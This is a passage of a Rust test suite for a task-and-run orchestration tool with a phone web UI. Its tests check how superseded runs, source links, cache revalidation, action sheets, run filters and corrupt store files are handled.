22670        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22671        assert!(
22672            by("bbbb")["superseded_by"].is_null(),
22673            "the latest attempt is not superseded by anything"
22674        );
22675        // Front end: the note has to be rendered, not just carried.
22676        assert!(APP_JS.contains("run.superseded_by"));
22677        assert!(APP_JS.contains("Superseded by"));
22678    }
22679
22680    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22681        let mut t = Task::new(
22682            "one task".to_owned(),
22683            "do it".to_owned(),
22684            PathBuf::from("/repo"),
22685            Source::Human,
22686        );
22687        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22688        t.status = status;
22689        t
22690    }
22691
22692    #[test]
22693    fn source_link_picks_the_page_that_filed_the_task() {
22694        let agent = |node: &str| Source::Agent {
22695            run: "20260904-014455-ab12".to_owned(),
22696            node: node.to_owned(),
22697        };
22698        let chat = source_link(&agent("chat")).expect("chat link");
22699        assert_eq!(chat.kind, "chat");
22700        assert_eq!(chat.id, "20260904-014455-ab12");
22701        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22702        let run = source_link(&agent("implement")).expect("run link");
22703        assert_eq!(
22704            (run.kind, run.href.as_str()),
22705            ("run", "#/runs/20260904-014455-ab12")
22706        );
22707        assert_eq!(source_link(&Source::Human), None);
22708        assert_eq!(
22709            source_link(&Source::Issue {
22710                number: 3,
22711                repo: "o/r".to_owned()
22712            }),
22713            None
22714        );
22715        let odd = source_link(&Source::Agent {
22716            run: "a b/c".to_owned(),
22717            node: "chat".to_owned(),
22718        })
22719        .expect("link");
22720        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22721    }
22722
22723    #[test]
22724    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22725        assert!(
22726            !APP_JS.contains("src.node === \"chat\""),
22727            "inline href rule is back"
22728        );
22729        assert!(
22730            APP_JS.matches("sourceLinkOf(").count() >= 4,
22731            "helper must serve every page"
22732        );
22733        assert!(
22734            APP_JS.matches("openChatLink(").count() >= 3,
22735            "the run page still needs its explicit chat link"
22736        );
22737        assert!(
22738            !APP_JS.contains("const openChat = el("),
22739            "the Queue card duplicates its source label link again"
22740        );
22741        assert!(
22742            APP_JS.contains("metaKids.push(link ? el(\"a\""),
22743            "the task page must link a chat source label too"
22744        );
22745    }
22746
22747    #[test]
22748    fn task_ref_carries_the_source_link_for_a_chat_task() {
22749        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22750        t.source = Source::Agent {
22751            run: "20260904-014455-ab12".to_owned(),
22752            node: "chat".to_owned(),
22753        };
22754        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22755        let v = serde_json::to_value(&out).expect("json");
22756        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22757        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22758        assert_eq!(v["source_label"], t.source.label());
22759
22760        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22761        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22762            .expect("json");
22763        assert!(v["source_link"].is_null(), "{v}");
22764    }
22765
22766    #[test]
22767    fn task_view_serializes_source_link() {
22768        let mut t = Task::new(
22769            "t".to_owned(),
22770            "t".to_owned(),
22771            PathBuf::from("/repo"),
22772            Source::Agent {
22773                run: "20260901-000000-aaaa".to_owned(),
22774                node: "implement".to_owned(),
22775            },
22776        );
22777        t.runs.clear();
22778        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22779        assert_eq!(v["source_link"]["kind"], "run", "{v}");
22780        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22781    }
22782
22783    #[test]
22784    fn task_view_serializes_urgent_flag() {
22785        let mut t = Task::new(
22786            "t".to_owned(),
22787            "t".to_owned(),
22788            PathBuf::from("/repo"),
22789            Source::Human,
22790        );
22791        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22792        assert_eq!(v["urgent"], false, "{v}");
22793        t.urgent = true;
22794        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22795        assert_eq!(v["urgent"], true, "{v}");
22796        assert!(APP_JS.contains("task.urgent === true"));
22797    }
22798
22799    #[tokio::test]
22800    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22801        let fx = Fixture::start().await;
22802        let runs = fx.runs();
22803        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22804        write_run(&runs, old, RunStatus::Blocked);
22805        write_run(&runs, new, RunStatus::Merged);
22806        let mut t = outcome_task(&[old, new], TaskStatus::Done);
22807        fx.queue().put(&mut t).expect("put");
22808
22809        let view = fx.get(&format!("/api/runs/{old}")).await.json();
22810        let task = &view["task"];
22811        assert_eq!(task["status"], "done");
22812        assert_eq!(task["is_latest"], false);
22813        assert_eq!(task["latest"]["short"], "bbbb");
22814        assert_eq!(task["finished_by"]["id"], new);
22815        assert_eq!(task["finished_by"]["outcome"], "merged");
22816        assert_eq!(task["closed_by_hand"], false);
22817        assert_eq!(view["status"], "blocked", "the run keeps its own status");
22818        assert!(APP_JS.contains("finished_by"));
22819        assert!(APP_JS.contains("superseded by run"));
22820    }
22821
22822    #[tokio::test]
22823    async fn the_latest_run_reports_a_held_task_without_a_successor() {
22824        let fx = Fixture::start().await;
22825        let runs = fx.runs();
22826        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22827        write_run(&runs, old, RunStatus::Stalled);
22828        write_run(&runs, new, RunStatus::Blocked);
22829        let mut t = outcome_task(&[old, new], TaskStatus::Held);
22830        fx.queue().put(&mut t).expect("put");
22831
22832        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22833        assert_eq!(task["status"], "held");
22834        assert_eq!(task["is_latest"], true);
22835        assert!(task["latest"].is_null());
22836        assert!(task["finished_by"].is_null());
22837        assert_eq!(task["closed_by_hand"], false);
22838    }
22839
22840    #[tokio::test]
22841    async fn a_direct_run_has_no_task_outcome() {
22842        let fx = Fixture::start().await;
22843        let runs = fx.runs();
22844        let id = "20260901-000000-aaaa";
22845        write_run(&runs, id, RunStatus::Blocked);
22846        let view = fx.get(&format!("/api/runs/{id}")).await.json();
22847        assert!(view["task"].is_null());
22848    }
22849
22850    #[test]
22851    fn task_outcome_does_not_guess_a_finishing_run() {
22852        let a = "20260901-000000-aaaa";
22853        let b = "20260901-000000-bbbb";
22854        let c = "20260901-000000-cccc";
22855        let dir = tempfile::tempdir().expect("tempdir");
22856        write_run(dir.path(), a, RunStatus::Blocked);
22857        write_run(dir.path(), b, RunStatus::VerifiedNoop);
22858        // `c` has no record: unreadable.
22859        let read = |id: &str| read_run(dir.path(), id).ok();
22860        // Neither a blocked run nor a no-op finished the task; the newest run is
22861        // unreadable and still named.
22862        let t = outcome_task(&[a, b, c], TaskStatus::Done);
22863        let out = task_outcome(&t, a, 3, read);
22864        assert!(out.finished_by.is_none());
22865        assert!(out.closed_by_hand);
22866        let latest = out.latest.expect("latest");
22867        assert_eq!(latest.id, c);
22868        assert_eq!(latest.status, None);
22869        assert_eq!(latest.outcome, "record unreadable");
22870
22871        // A Ready run settles the task as done, so it is named as the finisher.
22872        write_run(dir.path(), c, RunStatus::Ready);
22873        let t = outcome_task(&[a, c], TaskStatus::Done);
22874        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22875        assert_eq!(out.finished_by.expect("finisher").id, c);
22876        assert!(!out.closed_by_hand);
22877
22878        // A resumed run id repeats: it is still the latest by id.
22879        let t = outcome_task(&[a, b, a], TaskStatus::Held);
22880        assert!(task_outcome(&t, a, 3, read).is_latest);
22881    }
22882
22883    #[tokio::test]
22884    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22885        // The list route has known this since the card fix above; the detail
22886        // route — what an operator actually opens from a notification about
22887        // a blocked run — did not, and went on showing a bare red BLOCKED
22888        // chip for a run a retry had already finished.
22889        let fx = Fixture::start().await;
22890        let q = fx.queue();
22891        let runs = fx.runs();
22892        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22893        write_run(&runs, first, RunStatus::Blocked);
22894        write_run(&runs, second, RunStatus::Merged);
22895
22896        let mut t = Task::new(
22897            "one task".to_owned(),
22898            "do it".to_owned(),
22899            PathBuf::from("/repo"),
22900            Source::Human,
22901        );
22902        t.runs = vec![first.to_owned(), second.to_owned()];
22903        q.put(&mut t).expect("put");
22904
22905        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22906        assert_eq!(earlier["superseded_by"], "dddd");
22907        assert_eq!(earlier["latest_attempt"]["id"], second);
22908        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22909        assert_eq!(
22910            earlier["latest_attempt"]["resolved"], true,
22911            "the run that replaced it landed, so this one reads as settled"
22912        );
22913
22914        let later = fx.get(&format!("/api/runs/{second}")).await.json();
22915        assert!(
22916            later["superseded_by"].is_null(),
22917            "the latest attempt is not superseded by anything"
22918        );
22919        assert!(
22920            later["latest_attempt"].is_null(),
22921            "the latest attempt has no later attempt of its own"
22922        );
22923
22924        // Front end: the detail page has to read the field this route now
22925        // carries, downgrade the chip, and link to the run that replaced it —
22926        // not just repeat the list card's own logic under a different name.
22927        // The link is built off `latest_attempt.id`, the server-resolved
22928        // full id, never a bare short string a client would have to guess a
22929        // full run from.
22930        assert!(APP_JS.contains("run.latest_attempt"));
22931        assert!(APP_JS.contains("data-superseded"));
22932        assert!(APP_JS.contains("#/runs/${latest.id}"));
22933    }
22934
22935    #[tokio::test]
22936    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22937        // A -> B -> C, all Blocked except the last. A's immediate successor
22938        // (superseded_by) is B, which is itself unresolved; what an operator
22939        // opening A's page actually needs is where the task's story stands
22940        // *now* - C, not B - without depending on whether C happens to be in
22941        // whatever page of /api/runs the client last cached.
22942        let fx = Fixture::start().await;
22943        let q = fx.queue();
22944        let runs = fx.runs();
22945        let (a, b, c) = (
22946            "20260901-000000-aaaa",
22947            "20260901-000000-bbbb",
22948            "20260901-000000-cccc",
22949        );
22950        write_run(&runs, a, RunStatus::Blocked);
22951        write_run(&runs, b, RunStatus::Blocked);
22952        write_run(&runs, c, RunStatus::Merged);
22953
22954        let mut t = Task::new(
22955            "retried twice".to_owned(),
22956            "do it".to_owned(),
22957            PathBuf::from("/repo"),
22958            Source::Human,
22959        );
22960        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22961        q.put(&mut t).expect("put");
22962
22963        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22964        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22965        assert_eq!(
22966            view["latest_attempt"]["id"], c,
22967            "the chain's current head, not the intermediate Blocked retry"
22968        );
22969        assert_eq!(view["latest_attempt"]["resolved"], true);
22970
22971        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22972        assert_eq!(mid["latest_attempt"]["id"], c);
22973        assert_eq!(mid["latest_attempt"]["resolved"], true);
22974    }
22975
22976    #[tokio::test]
22977    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22978        let fx = Fixture::start().await;
22979        let q = fx.queue();
22980        let runs = fx.runs();
22981
22982        // Still Blocked: the task is not resolved, so the older run must not
22983        // read as settled either.
22984        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22985        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22986        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22987        let mut t1 = Task::new(
22988            "still stuck".to_owned(),
22989            "do it".to_owned(),
22990            PathBuf::from("/repo"),
22991            Source::Human,
22992        );
22993        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22994        q.put(&mut t1).expect("put");
22995        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22996        assert_eq!(view1["latest_attempt"]["resolved"], false);
22997        assert_eq!(view1["latest_attempt"]["status"], "blocked");
22998        assert_eq!(view1["latest_attempt"]["done"], true);
22999
23000        // Still running: the successor exists and must be reported as such.
23001        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23002        write_run(&runs, run_a, RunStatus::Blocked);
23003        write_run(&runs, run_b, RunStatus::Implementing);
23004        let mut t3 = Task::new(
23005            "retrying".to_owned(),
23006            "do it".to_owned(),
23007            PathBuf::from("/repo"),
23008            Source::Human,
23009        );
23010        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23011        q.put(&mut t3).expect("put");
23012        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23013        assert_eq!(view3["latest_attempt"]["id"], run_b);
23014        assert_eq!(view3["latest_attempt"]["resolved"], false);
23015        assert_eq!(view3["latest_attempt"]["done"], false);
23016
23017        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23018        // to check - not a confirmed finish, so this must not read as
23019        // resolved either, even though the run is done in the sense that
23020        // nothing is still running.
23021        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23022        write_run(&runs, noop_a, RunStatus::Blocked);
23023        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23024        let mut t2 = Task::new(
23025            "claims done".to_owned(),
23026            "do it".to_owned(),
23027            PathBuf::from("/repo"),
23028            Source::Human,
23029        );
23030        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23031        q.put(&mut t2).expect("put");
23032        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23033        assert_eq!(
23034            view2["latest_attempt"]["resolved"], false,
23035            "an unverified no-op claim must not read as a confirmed finish"
23036        );
23037
23038        // Front end: an unresolved successor must not carry the "finished
23039        // this work" note or the muted chip treatment.
23040        assert!(APP_JS.contains("latest.resolved"));
23041        // ...but the link to it shows as soon as it exists, labelled by state
23042        // and without the "finished" wording or the muted chip.
23043        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23044        assert!(APP_JS.contains("Latest attempt: "));
23045        assert!(APP_JS.contains("in flight"));
23046        assert!(APP_JS.contains("not resolved"));
23047    }
23048
23049    #[tokio::test]
23050    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23051        let fx = Fixture::start().await;
23052        // No cache header at all meant browsers invented their own policy,
23053        // and one did: a phone went on showing "Candidates must be folded
23054        // before deleting. Run `magi fold` first." - deleted two releases
23055        // earlier - from a deck that no longer contained the sentence. The
23056        // button it named was right there, and unreachable.
23057        let js = fx.get("/app.js").await;
23058        assert_eq!(js.status, 200);
23059        let tag = js
23060            .header("etag")
23061            .expect("an etag to revalidate against")
23062            .to_owned();
23063        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23064        assert_eq!(
23065            js.header("cache-control"),
23066            Some("no-cache, must-revalidate"),
23067            "the phone has to ask every time"
23068        );
23069
23070        // And the asking has to be cheap, or `must-revalidate` just means
23071        // "send the whole interface on every load".
23072        let again = fx
23073            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23074            .await;
23075        assert_eq!(
23076            again.status, 304,
23077            "a deck it already has costs one round trip"
23078        );
23079        assert!(again.body.is_empty(), "304 carries no body");
23080
23081        // A weakened tag from a proxy still matches; a different build does
23082        // not, which is the case that has to deliver the new interface.
23083        let weak = fx
23084            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23085            .await;
23086        assert_eq!(weak.status, 304);
23087        let stale = fx
23088            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23089            .await;
23090        assert_eq!(stale.status, 200, "an older build must be replaced");
23091        assert!(stale.body.contains("renderRunActions"));
23092    }
23093
23094    #[test]
23095    fn the_task_detail_has_an_actions_fab_and_sheet() {
23096        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23097        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23098        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23099        // Shown only on the task route, closed everywhere else.
23100        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23101        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23102        // Refreshed whenever the detail redraws, including the loading state.
23103        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23104        assert!(APP_JS.contains("renderTaskActions(null);"));
23105        // Same renderers and routes as the Queue card, no new endpoint.
23106        let sheet = APP_JS
23107            .find("function renderTaskActions")
23108            .expect("sheet renderer");
23109        let body = &APP_JS[sheet..sheet + 3000];
23110        assert!(body.contains("changePriority("));
23111        assert!(body.contains("openTaskEdit(task)"));
23112        assert!(body.contains("renderTaskHoldBox(host"));
23113        assert!(body.contains("renderTaskDoneBox(host"));
23114        assert!(body.contains("renderTaskDeleteBox(host"));
23115        assert!(APP_JS.contains("API.priority(id)"));
23116        assert!(APP_JS.contains("API.deleteTask(id)"));
23117        // A deleted task sends the operator back to the queue.
23118        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23119        // A refusal is shown inside the sheet.
23120        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23121    }
23122
23123    #[test]
23124    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23125        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23126        let actions = INDEX_HTML
23127            .find("id=\"run-actions-box\"")
23128            .expect("actions box");
23129        assert!(task < actions, "the task entry comes first in the sheet");
23130        assert!(APP_JS.contains("renderRunTaskEntry"));
23131        assert!(APP_JS.contains("\"Open task \""));
23132        // A run without a task says why there is nothing to open.
23133        assert!(APP_JS.contains("started directly, no task"));
23134        assert!(APP_JS.contains("sheet-task-link"));
23135        assert!(APP_JS.contains("task-chip-link"));
23136    }
23137
23138    #[test]
23139    fn the_deck_never_sends_the_operator_to_a_terminal() {
23140        // The whole point of the phone UI is that a terminal is not needed.
23141        // The delete control used to answer with "Run `magi fold` first."
23142        assert!(
23143            !APP_JS.contains("Run `magi fold` first"),
23144            "the deck must offer the fold, not prescribe a shell command"
23145        );
23146        assert!(APP_JS.contains("foldRun:"));
23147        assert!(APP_JS.contains("resumeRun:"));
23148        assert!(APP_JS.contains("renderRunActions"));
23149
23150        // Folding is destructive and armed in two steps, like deleting.
23151        assert!(APP_JS.contains("armedFold"));
23152        assert!(APP_JS.contains("Yes, fold worktrees"));
23153
23154        // And the copy has to say that the two actions are opposites, because
23155        // folding throws away exactly what a resume would continue from.
23156        assert!(APP_JS.contains("can no longer be resumed"));
23157    }
23158
23159    #[test]
23160    fn a_finished_run_explains_itself_with_its_own_last_line() {
23161        // The deck used to answer "why did this stop?" with a sentence chosen
23162        // by status alone. Run e633 stalled because two judges answered with
23163        // the wrong JSON shape and its card said "The panel collapsed on
23164        // agent quota" - with `quota: []` in the record and a quota-loss
23165        // counter right above it that correctly said nothing.
23166        assert!(
23167            !APP_JS.contains("collapsed on agent quota"),
23168            "a stall must not be explained by a cause the deck did not check"
23169        );
23170        assert!(
23171            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23172            "and a block must not offer a guess with an `or` in it"
23173        );
23174
23175        // The reason it does have is `run.event`, which must reach finished
23176        // runs: gating it on movement hid the recorded truth at the one moment
23177        // the operator is reading the card to find out what happened.
23178        assert!(
23179            APP_JS.contains("setText(r.event, run.event || \"\")"),
23180            "the run's last line is rendered unconditionally"
23181        );
23182        assert!(
23183            !APP_JS.contains("moving && run.event"),
23184            "and never gated on the run still moving"
23185        );
23186
23187        // Quota keeps its own counter, fed by the number actually recorded.
23188        assert!(APP_JS.contains("lost to quota"));
23189    }
23190
23191    /// The runs tree (section) and the state chips (waiting/done) are two
23192    /// independent lenses ANDed together in `renderRuns`, and some pairings
23193    /// can never both be true for any run - every "Landed"/"Ended" run is
23194    /// done by construction, so pairing either with "Active" or "In flight"
23195    /// always rendered zero cards with the filter bar still claiming
23196    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23197    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23198    /// a handful of (waiting, status) shapes standing in for the run
23199    /// lifecycle, because `cargo test` cannot execute the front end.
23200    ///
23201    /// That stand-in list is itself the part that drifted twice in review:
23202    /// once shipped with `waiting: true` paired with a done status the
23203    /// lifecycle cannot produce, then over-corrected into treating every
23204    /// waiting run as never done - which made "Waiting on you" look
23205    /// incompatible with "Done" even for the one real, reachable shape
23206    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23207    /// that combination. This test parses the shapes and the done-rule back
23208    /// out of `APP_JS`, reimplements `runSection` and the five state
23209    /// predicates independently in Rust, and checks the resulting
23210    /// section/filter compatibility table against the lifecycle rules by
23211    /// hand - so either direction of drift fails it again.
23212    #[test]
23213    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23214        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23215        let shapes_body_start =
23216            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23217        let shapes_close = APP_JS[shapes_body_start..]
23218            .find("].map(")
23219            .expect("the shape list is closed by its done-computing .map(...)")
23220            + shapes_body_start;
23221        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23222
23223        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23224        for entry in shapes_src.split('{').skip(1) {
23225            let waiting = entry.contains("waiting: true");
23226            let dead = entry.contains("live: \"dead\"");
23227            let status_at =
23228                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23229            let status_end = entry[status_at..]
23230                .find('"')
23231                .expect("the status string is closed")
23232                + status_at;
23233            let parked = entry.contains("display_status: \"parked\"");
23234            shapes.push((
23235                waiting,
23236                entry[status_at..status_end].to_string(),
23237                dead,
23238                parked,
23239            ));
23240        }
23241        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23242
23243        // The done rule itself (`!["implementing"].includes(shape.status)`),
23244        // read out of the source rather than hardcoded, so a renamed
23245        // in-flight status can't silently make every parsed shape "done".
23246        let done_rule_marker = "done: !";
23247        let done_rule_at = APP_JS[shapes_close..]
23248            .find(done_rule_marker)
23249            .expect("the done rule follows the shape list")
23250            + shapes_close
23251            + done_rule_marker.len();
23252        let includes_at = APP_JS[done_rule_at..]
23253            .find(".includes(shape.status)")
23254            .expect("the done rule ends in .includes(shape.status)")
23255            + done_rule_at;
23256        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23257            .trim()
23258            .trim_start_matches('[')
23259            .trim_end_matches(']')
23260            .split(',')
23261            .map(|s| s.trim().trim_matches('"'))
23262            .filter(|s| !s.is_empty())
23263            .collect();
23264
23265        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23266            .into_iter()
23267            .map(|(waiting, status, dead, parked)| {
23268                let done = !not_done.contains(&status.as_str());
23269                (waiting, status, dead, parked, done)
23270            })
23271            .collect();
23272
23273        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23274        // outright, then merged/ready land, stalled/blocked/failed/
23275        // verified_noop end, and everything else is still in flight.
23276        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23277            if waiting {
23278                return "waiting";
23279            }
23280            if dead
23281                && !parked
23282                && !matches!(
23283                    status,
23284                    "merged"
23285                        | "ready"
23286                        | "stalled"
23287                        | "blocked"
23288                        | "failed"
23289                        | "verified_noop"
23290                        | "superseded"
23291                        | "already_in_base"
23292                )
23293            {
23294                return "stale";
23295            }
23296            match status {
23297                "merged" | "ready" => "landed",
23298                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23299                | "already_in_base" => "ended",
23300                _ => "flight",
23301            }
23302        }
23303
23304        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23305        // way.
23306        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23307            match filter_key {
23308                "active" => !done,
23309                "flight" => !done && !waiting && !dead,
23310                "stale" => !done && !waiting && dead,
23311                "waiting" => waiting,
23312                "done" => done,
23313                "all" => true,
23314                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23315            }
23316        }
23317
23318        let compatible = |section: &str, filter_key: &str| {
23319            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23320                run_section(*waiting, status, *dead, *parked) == section
23321                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23322            })
23323        };
23324
23325        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23326        // (active, flight, stale, waiting, done, all) - hand-derived from the
23327        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23328        // currently contains.
23329        let expected = [
23330            ("waiting", [true, false, false, true, true, true]),
23331            ("stale", [true, false, true, false, false, true]),
23332            ("flight", [true, true, false, false, false, true]),
23333            ("landed", [false, false, false, false, true, true]),
23334            ("ended", [false, false, false, false, true, true]),
23335        ];
23336        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23337
23338        for (section, wants) in expected {
23339            for (filter_key, want) in filter_keys.iter().zip(wants) {
23340                assert_eq!(
23341                    compatible(section, filter_key),
23342                    want,
23343                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23344                );
23345            }
23346        }
23347
23348        // The compatibility check exists only to be acted on: both pickers
23349        // must actually consult it rather than just render its answer.
23350        assert!(
23351            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23352        );
23353        assert!(APP_JS.contains(
23354            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23355        ));
23356        assert!(APP_JS.contains(
23357            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23358        ));
23359    }
23360
23361    #[tokio::test]
23362    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23363        // An operator-named directory - git checkout or not - is never
23364        // second-guessed, even when it does not exist at all: only the
23365        // flag's own unmodified `.` default is ever eligible for discovery.
23366        let dir = tempfile::tempdir().expect("tempdir");
23367        let explicit = dir.path().join("not-a-checkout");
23368        std::fs::create_dir_all(&explicit).expect("create dir");
23369        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23370
23371        let missing = dir.path().join("does-not-exist-at-all");
23372        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23373    }
23374
23375    #[test]
23376    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23377        assert!(APP_JS.contains("function statsDonutArcs"));
23378        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23379        // A bucket click filters by the statuses src/stats.rs counts in it.
23380        assert!(APP_JS.contains("function statusInBucket"));
23381        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23382        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23383        let buckets = [
23384            "merged",
23385            "ready",
23386            "in_progress",
23387            "blocked",
23388            "failed",
23389            "verified_noop",
23390            "superseded",
23391            "stalled",
23392        ];
23393        for key in buckets {
23394            let var = format!("--verdict-{key}:");
23395            // Light, OS-dark and pinned-dark blocks each define it.
23396            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23397            assert!(
23398                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23399                "{key}"
23400            );
23401        }
23402    }
23403
23404    #[tokio::test]
23405    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23406        let dir = tempfile::tempdir().expect("tempdir");
23407        let queue = Queue::at(dir.path().join("queue"));
23408        let talks = Talks::at(dir.path().join("talks"));
23409        std::fs::create_dir_all(queue.root()).unwrap();
23410        std::fs::create_dir_all(talks.root()).unwrap();
23411
23412        // Put a corrupt json file in both stores
23413        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23414        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23415
23416        // Valid task and talk
23417        let mut task = Task::new(
23418            "title".into(),
23419            "inst".into(),
23420            PathBuf::from("/repo"),
23421            Source::Human,
23422        );
23423        task.id = "20261019-123456-abcd".into();
23424        // Write manually so it's a valid file
23425        std::fs::write(
23426            queue.path_of(&task.id),
23427            serde_json::to_string(&task).unwrap(),
23428        )
23429        .unwrap();
23430
23431        let talk_id = "20261019-234567-cdef";
23432        seed_talk_at(&talks, talk_id, "open");
23433
23434        // Exact match should succeed without failing on the corrupt json file
23435        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23436        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23437
23438        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23439        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23440        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23441    }
23442
23443    #[tokio::test]
23444    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23445        let home = tempfile::tempdir().unwrap();
23446        let ui = delta_test_ui(home.path());
23447        // A full history traversal would fail even with no questions.
23448        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23449        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23450        assert!(
23451            questions_list(State(ui.clone()))
23452                .await
23453                .unwrap()
23454                .0
23455                .is_empty()
23456        );
23457        assert!(
23458            question_origins(State(ui.clone()))
23459                .await
23460                .unwrap()
23461                .0
23462                .is_empty()
23463        );
23464        let mut question = Question::new(
23465            "run-history".into(),
23466            "review".into(),
23467            "seat".into(),
23468            "Useful question".into(),
23469            "Useful detail".into(),
23470            vec![],
23471        );
23472        ui.questions.put(&mut question).unwrap();
23473        let core = questions_core(State(ui.clone())).await.unwrap().0;
23474        assert_eq!(core.len(), 1);
23475        assert_eq!(core[0].question.summary, "Useful question");
23476        assert!(!core[0].can_consult_chat);
23477        assert!(core[0].origin_chat.is_none());
23478        assert_eq!(core[0].record_revision, question_record_revision(&question));
23479        assert!(question_origins(State(ui.clone())).await.is_err());
